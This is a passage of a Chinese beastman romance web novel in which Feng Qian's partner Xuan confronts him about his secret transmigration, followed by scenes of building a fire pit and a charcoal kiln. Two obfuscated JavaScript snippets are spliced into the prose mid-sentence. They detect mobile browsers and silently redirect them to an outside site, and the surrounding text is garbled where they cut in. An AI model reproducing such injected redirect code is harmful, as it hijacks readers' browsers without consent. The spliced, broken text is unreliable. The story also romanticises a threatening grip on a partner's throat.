玄依然盯着他瞧,风浅心虚地抹了把脸,边穿衣服穿鞋边岔开重点,“真是的,今天要起早,昨晚怎么不跟我说,也好早点儿起来准备饭。既然要走远,那更不能饿着肚子了。”
“快过来烧火,拿两个咕咕蛋出来,我用油渣给你煎两个蛋,咕咕蛋熟的快,耽误不了你集合。”风浅扯着玄的胳膊往外走。
玄看着面前忙手忙脚的亚兽人,心里一暖,眼尾跟着有些酸热,深吸口气,一把从后面将亚兽人按进怀里,“……风浅,你乖乖在山洞等我回来。”
玄这话说的莫名其妙,听得风浅眉头一跳。
这怎么了,就出门狩个猎,几乎天天做的事,怎么整的好像要生离死别了……
不是真喝假酒喝出问题了吧。可同样喝了酒的他也没事啊。
觉察玄的情绪有些不对劲,风浅抓着玄的胳膊要回头看个究竟,却被玄按在怀里动弹不得,只得就那么被玄抱着,风浅小心地问道,“你身上,真没有哪里不舒服?大到呼吸困难,小到哪里的皮肤发痒、发红,都有可能是过敏的症状。过敏严重起来是会要命的,不能强撑着。”
玄用鼻子、嘴唇蹭了蹭风浅的耳廓、脸颊,轻笑着,已经恢复了平常的语气,“没有不舒服,就是不想一早就和你分开。”
风浅心里一甜,转头抱住玄,这次玄没按着不让他动了,“那刚刚给你亲,你还不亲。”
风浅踮脚就去亲玄的唇,蜻蜓点水,“剩下的晚上回来再给你。”
“真是的,有你刚刚抱着我腻歪的工夫,都能亲好几次了。”风浅小声地抱怨着,“快生火,快生火。”
把玄打发走,天色也亮了,就着锅底的余温,风浅慢悠悠地给自己炒了份孜然哞哞兽肉,啃了根粉香蕉,打扫了山洞,还不到采集队集合的时间,又从兽皮窝的草席底下翻了一小袋麦籽,坐在山洞门口剥麦籽壳。
羽族商队离开之后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040096|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他又用剩下的蜂蜡做了几根蜡烛,和部落里的人换了几袋麦籽还有地长果。
麦籽壳比蓝星的花生壳稍微硬,用小木锤一敲就碎了。煮熟后的麦籽,壳会变得更软,徒手就可以剥开。因此,部落里一般是把麦籽煮熟后剥着吃。
风浅馋米饭馒头了,他想生着剥了麦籽壳,试着做点儿不一样的。
这麦籽长得小麦不小麦,大麦不大麦,水稻不水稻,但既然是禾本科,那馒头面包,米饭面条,馕饼大饼,总得成一样吧。
风浅看着地上树影的位置差不多了,把麦籽重新藏进兽皮窝的草席下面,拿上兽皮袋,关好门,往部落山谷去。
走到山岗上,果然听到了采集队集合的号角声。
随着采集队将部落领地内的森林地毯式地搜索了一遍,采集队秋储的任务接近尾声,从一天上山两次改为一次,每天晌午之前就会回部落,这让风浅终于有了更多的时间去捣鼓其它东西。
中午回了山洞。
风浅拿了包肉干当午饭,在山洞门口空地上生火烧水,水里放了几个和羽族交易来的果干。果干橙色偏深,吃起来酸酸甜甜的,有些像杏肉或者梅肉,加上几片芸香果的果皮,滴两滴蜂蜜,煮出的果茶不比末世前蓝星上的甜水店差。
一会儿吃了午饭,他打算在山洞里挖一个火塘,火塘上搭个架子,架口锅,既能取暖又能做饭,至少冬日里能时时喝上、用上热水。
山洞外白雪飘飘,银装素裹,山洞内,他和玄相依而坐,围炉夜话,陶锅咕噜噜的冒着热腾腾的雾气,炭火摇曳,温馨晕黄……
这场景,光想想都醉人。
陶锅上茶水煮到沸腾,风浅拿了个红薯埋在火炭里,自己回山洞挖火塘了。
从地面往下挖二十公分深、四十公分宽的正方形土坑,修至平整,地上部分用石板石块砌十到二十公分高,再用树干和麦籽树搭架子,粗绳将陶锅吊在架子上,通过调节绳子的长短来调节陶锅的高度、距离火苗的位置、做饭时火候的大小。
山洞里有兽骨做的锹一样的挖土工具,后山就有石板石块,工具齐全,风浅做的很顺利。火塘做好了,日头还挺高,风浅又抱了柴,试着在火塘上架了火,倒了碗果茶,准备烤着火吃个烤红薯做下午茶。
理想很丰满,现实很骨感。
不到半刻钟,风浅捂着鼻子从山洞跑出来,又提了水桶冲进山洞,一桶水把火塘里的柴火浇灭——没有抽烟机,差点呛死他!
一下午的工夫白费了不说,还把原本平整的山洞挖了个坑!
风浅灰头土脸地坐在山洞外生闷气,抱着红薯啃。这时玄回来了。
“这,怎么了?”玄提着半只花斑兽,乍一看到垂头丧气、满脸灰、恶狠狠地抱着红薯啃的风浅,一时也分不清想笑的成分多一些,还是担心的成分多一些。
不过,亚兽人好好的站在自己面前,气哼哼的,还有心思吃烤地甜果,应该是没事的,但这一脸灰是怎么回事,总不至于是吃地甜果抹的吧。
风浅白了眼一脸担心,但更明显在憋笑的玄,“你敢笑我。”
玄咬住后槽牙,板住脸,摇头,“没笑。”
24. 喝酒误事(下)(捉虫)
玄忍着笑,拿了块蚕丝布的帕子,倒了些陶锅上的热水在洗脸用的木盆里,又从空间里放了些冷水,调好水温,一起端到风浅面前,拿着拧湿的帕子,捏着风浅的下巴,哄道,“来,老攻给你洗脸。”
风浅一愣,乍然反应过来,“你果然知道这两个字是什么意思!”他就说他把这两个字解释的那么清楚,玄又不笨,怎么可能误会了!玩他呢!
玄轻笑着给他擦脸,“我看你挺喜欢我误解的那个意思。”
风浅咬着牙,被说到心里去了,承认也不是,否认也不行。
“‘老攻’不行,那‘夫君’?‘相公’?”玄眼里的笑意越来越浓,越来越明媚,捏着风浅下巴的两根手指逐渐用力,把风浅拉近自己眼前。
风浅呼吸一滞,怔怔看着玄越来越近、笑靥如花的脸庞。那一双深不见底的琥珀眸子,如春水涟漪的古潭,纵使无情也有情,可此时,他总觉得那古潭下隐隐约约好像藏了一头吃人不吐骨头的巨兽,让人背脊发凉。
卷着寒意的晚风拂过,玄的头发扫在他额头上,那痒痒的感觉才把风浅拽回现实。
魔怔了,他在想什么,玄是他的兽人,怎么会害他。
可是,“夫君”“相公”这些蓝星上古时独有的称谓,他没说过,玄怎么会知道?
蓦地想起,昨晚喝酒了!
昨晚他把酿好的葡萄酒装坛,酿的酒不多,本来想留着做菜腌肉,但没忍住酒香果香的诱惑,和玄一人分了一碗。他自己是个沾了酒精就倒的体质,昨晚的记忆仅停留在他缠在玄身上,夸玄第一次喝酒竟然就比他强……
“在你那个世界里,你叫我‘老攻’,我又该叫你什么呢?”玄依旧捏着风浅的下巴,一双漂亮的琥珀眸子微垂,带着笑意,直直盯着风浅,不急不缓地问道。
果然。
风浅喉咙发紧。喝酒误事啊!想要带进棺材板的秘密就这么当着酒疯撒出来了!
玄高挺的鼻梁亲昵地在风浅的脸上蹭了蹭,风浅一抖,觉得好像被毒蛇舔了。他之前怎么没发现玄还有疯批的潜质。
从不食人间烟的高冷美人鱼,到白切黑芝麻团子,现在又这样,一层一层的,剥洋葱呢。
现在是要干什么?秋后算账?这要怎么编,不,解释。
那今天早晨……
坦白从宽的最后期限?
所以才特意嘱咐他乖乖在山洞等他回来?!
他也没故意要瞒着玄,夺舍又不是什么光彩的事,能少一个人知道就少一个人知道……
而且,和玄第一次见面的时候就已经是他了,说不说也没必要……
“‘宝贝儿’?还是‘老婆’,嗯?”玄嘴唇贴着风浅的耳朵,“你喜欢我怎么叫你?”
“想好怎么解释了吗?”
“原始人好糊弄吗?”
一句接着一句,风浅已经彻底抬不起头了。他这大嘴巴子、大漏勺,昨晚到底都抖搂了些什么出来,还好上辈子没交过男朋友……
下一瞬,掐着风浅下巴的手指游蛇一样滑到脖颈,按着亚兽人略显精致小巧的喉结,“宝贝儿,告诉我,你是谁?”
“我们第一次见面的时候,就是你,对不对?”
朝夕相处,他不可能蠢到认错自己的亚兽人,但这可是自己的亚兽人啊,他必须确保万无一失,必须从风浅嘴里得到肯定的答案。
倘若这人用了什么恶毒的手段害死了自己的亚兽人并取而代之,他却什么都不知道,继续把这人当宝贝一样捧在手上……
“你说你变得不傻了是吃了棵草,这只是你编了个借口糊弄我这个‘原始人’,你不傻了,是因为根本就换了个人。”玄笃定道。
“你说话一直奇奇怪怪,有很多我们这里没听过的词,也会做很多奇奇怪怪的东西,蜡烛、肥皂,这些都也不是兔族的,而是那个‘蓝星’的,对不对。”
“宝贝儿,不要骗我。”玄忽然拉进了距离,盯着风浅的眼睛,一字一顿。满面笑容,却让人背脊发凉。
玄的手指就停在喉结上,风浅毫不怀疑,只要他说一个“不”字,玄立马就能折了他脖子,让他脑袋分家。
家暴,家暴,赤裸裸的家暴!
家暴虎,渣男,渣兽人!
风浅喉结发紧,做了个吞咽的动作,清楚地感觉到玄半掐不掐,卡在他脖子上的手指,深深吸了一口气,镇定道,“一直都是我,你猜的都对。”
玄昨晚一定是趁着他喝醉,套他的话了。趁人之危的家暴虎!
“第一次见面就没忍住抱着你蹭,还被你凶,被人说放荡,当众检查守宫砂的是我,我那时才刚穿过来,还没适应亚兽人的身份,我又不知道你们这里有什么破烂规矩!”
“第二次见面,温泉池子里……”风浅咬着嘴说不下去了,他现在也不敢想象当时撅着屁股洗头的样子有没有被玄看到,太尴尬了。
“和你结契的是我,给你做饭滚被窝的是我,从头到尾都是我,你竟然敢怀——唔嗯……”
风浅说着说着把自己说委屈了,却突然被玄一口吻住,话都说不出来,更气了,沙包大的拳头“嗙嗙嗙”一个跟一个全落在玄的身上,反正这老虎皮糙肉厚,不心疼。
这个吻一直持续到怀里的亚兽人彻底安静下来,气喘吁吁,软成了一汪春水。玄理了理风浅脸颊的头发,眼色深沉,“你还要回去吗?”
“回?回哪儿去?”风浅一愣,话音一落马上反应过来了,家暴虎是怕他什么时候又穿回蓝星了。
“怎么回去?回去干嘛?喂僵尸吗?”风浅白了眼玄,“你昨晚趁着我喝醉,没少套我话吧。”
“我那边的身体估计都炸成血沫了,还怎么回——”风浅话到一半又被玄抱住,勒的他骨头疼。
只听玄说,“以后不会了,以后换我保护你。”兽人的声音低沉郑重,好似承诺。
风浅握成拳头的手紧了紧,到底没继续往玄身上砸。两辈子加一起,他比玄大好几岁呢,才不跟小朋友计较。
见玄一双琥珀眸子依旧像化不开的深潭,风浅笑着勾了勾玄的下巴,“你既然套了我的话,那就该知道我比你大好几岁,来,小老虎,叫声‘哥哥’听听。”
静默。
四目相对。
叫是不可能叫的。
玄的眼角突然荡开冰消雪融的笑意,双手一抄,直接抱着风浅就回山洞。
“——大白天的你发什么疯!放开!”
“滚!别再让我听到那两个字儿!”
山洞里,风浅骂骂咧咧,他现在一听玄喊“宝贝儿”就瘆得慌。
翌日,休息日,不需要集体采集狩猎。
风浅想了半宿火塘的事,功夫不负有心人,终于给他想到办法了——直接烧柴不行,那烧炭呢。
风浅在山洞后山山脚的地方找了个土丘,顺着土丘的走势挖了个窑,烧炭。
烧炭最好选用刚砍下的湿木材,湿木柴更容易出炭,木材的材质也有讲究,质地坚硬的木材烧出的炭更耐烧,品质更好。
玄的空间堆满了秋储的物资,能装木材的地方不多,空间里装满了,下山的时候两人肩上还扛了不少。如此走了两趟才将炭窑摆满。
木材有了,还要找个山头取黄泥。黄泥用的不多,玄的空间一趟就能装回来。
风浅先用干草在木材上铺盖一层,黄泥加水搅拌,抹在干草上封窑,约三指厚,下面留一个进火口,上面留一个小烟囱。
点火开始烧炭后,随着木材燃烧,炭窑下沉,黄泥顶出现裂缝而露烟,继续用黄泥浆封堵露烟的地方,保证只有小烟囱一个地方走烟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040097|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
烧炭就是利用木材的不完全燃烧,行家老手能通过观察烟囱冒出的烟的颜色来判断窑内烧到什么程度,什么时候停火封闭进火口。
风浅第一次烧炭,只知道大概原理和做法,一切都在摸索中。
忙了一上午,总算暂时把露烟的地方都堵住了,但烧炭的过程依旧需要有人在旁边看着。
炭窑几米外,两人坐在山洞前的空地上吃午饭,石桌上烤肉、炒肉、炖肉,还有碗虾仁做的海鲜汤,全是肉。风浅还记着自己刚穿过来那会儿八百年没吃过肉的样子,但这几天他突然就很想吃草。
不是不喜欢肉了,就是觉得腻歪,每次吃完饭都要吃两瓣芸香果解解油腻,或者喝点儿干果泡的茶水。
可能是因为现在这具身体是兔族的原因?
但现在这个时节,万木零落,百草枯黄,他异能又没恢复,上哪儿去找野菜。芽倒是给他拿了点儿干野菜,但干野菜完全不行。他昨天集体采集的时候没忍住,甚至摘了一兽皮袋窝窝绒叶回来。窝窝绒叶是这个季节唯一一种绿色、鲜嫩、可食用的野菜了。
可一想到窝窝绒根的用处,他就下不去嘴。
今天要吃肉,明天要吃草,想一出是一出,没哪个兽人受得了他吧。
“空间里有两头没处理的花斑兽,一会儿吃完饭,我去大泽那边一趟,顺便捞些做肥皂的贝壳。”玄边吃饭边说自己下午的打算。
说到大泽,风浅突然就想起大泽里半湖的残荷。兽人大陆的荷,荷叶直径就有一米,不知道湖底的藕得有多大。藕,也算蔬菜的一种吧。
“玄,部落里有没有兽形适合在水里的兽人?”
“嗯?”玄抬头看风浅,“有什么需要下水的事吗?”
风浅犹豫着点头,“不是什么重要的事,若是有适合下水的兽人,我正好知道一种可以吃的植物根茎,这种根茎长在水里,亚兽人采集不方便。”
玄顿了顿,沉思片刻,“你是说大泽的荷,荷长在水底的根茎可以吃,是吗。”
风浅眼睛亮了,他就喜欢和聪明的人说话,省劲儿。
“荷的根茎叫藕,是很好的野菜。不仅根茎可以吃,荷全身都是宝贝,花和叶可以做茶,莲蓬种子可以煮粥。只是这个季节没有花,莲蓬也都被鸟吃了或者掉水里了,只剩藕了。”风浅有些遗憾。
“部落里倒是有两个兽人的兽形是鳄鱼。鳄鱼的兽形在山林里捕猎有些困难,部落集体狩猎的时候这两人一般都是用人形,收获比不得别人。但经常四处捕鱼吃,很擅长水里的事。你想要荷的根茎,我一会儿出去的时候顺便给你问问。”玄说。
用过午饭,玄去大泽,风浅留在山洞看着烧炭。
吃饱了容易犯困,特别是炭窑边上把人熏得热烘烘的,秋冬午后的日头也暖洋洋的醉人。
为了彻底把他穿越重生的事情说明白,两人昨晚又熬了半宿。更困了。
之前不觉得这个秘密算什么,毕竟一开始认识玄的人就是他,但现在把事情说开了,竟然意外的轻松,两人的关系也更近了一步。他觉得自己和玄,已经从生理上的契合升华到精神,灵魂了。
兽人大陆一昼夜比蓝星长,秋冬更是夜长昼短,白天睡了,晚上又该睡不着了。风浅打着哈欠,抻抻懒腰,打算干点儿别的,醒醒神儿。
烧炭不需要他一直在旁盯着,偶尔过来看看,补补露烟的地方就行。
风浅回山洞拿了剥好壳的麦籽,还有杵臼,他想试着磨点儿面粉出来。今天心情好,正适合做点儿不一样的唬唬玄这个没见过世面的原始人!
如果效果不错的话,那下个休息日可以试着做个专门磨面的石磨。玄的爪尖儿扣起石磨应该也很管用。
有这么个大美人任劳任怨地给他当劳力,真是赏心悦目地省心。